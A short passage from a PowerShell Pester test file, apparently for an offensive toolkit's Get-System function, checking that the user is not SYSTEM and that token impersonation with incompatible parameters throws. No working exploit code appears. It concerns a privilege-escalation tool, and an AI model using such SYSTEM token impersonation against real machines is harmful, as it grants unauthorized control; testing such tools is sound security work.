        "$([Environment]::UserName)" | Should Not Match 'SYSTEM'
    }

    It 'Token impersonation should throw with incompatible parameters.' {
        { Get-System -Technique Token -WhoAmI } | Should Throw
    }
}